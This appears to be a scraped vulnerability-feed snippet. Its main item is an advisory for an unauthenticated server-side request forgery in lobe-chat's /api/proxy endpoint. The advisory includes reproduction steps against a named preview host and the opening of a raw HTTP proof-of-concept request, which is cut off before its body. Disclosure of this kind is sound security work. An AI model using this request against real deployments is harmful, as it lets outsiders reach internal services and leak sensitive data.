https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-16T17:50:47.462455+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/euvd-2026-5293 EUVD-2026-5293 2026-10-16T17:50:47.465174+00:00 EUVD-2026-5293 https://cve.radiocsirt.org/vuln/fkie_cve-2024-32964 fkie_cve-2024-32964 2026-10-16T17:50:47.465204+00:00

Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.

 https://cve.radiocsirt.org/vuln/ghsa-mxhq-xw3g-rphc GHSA-mxhq-xw3g-rphc — lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability 2026-10-16T17:50:47.465234+00:00

Affected: npm: @lobehub/chat

### Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

### Details * visit https://chat-preview.lobehub.com/settings/agent * you can attack all internal services by /api/proxy and get the echo in http response :)

![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21)

![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91)

![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75)

### PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN…

 https://cve.radiocsirt.org/vuln/gsd-2024-32964 gsd-2024-32964 2026-10-16T17:50:47.465279+00:00 gsd-2024-32964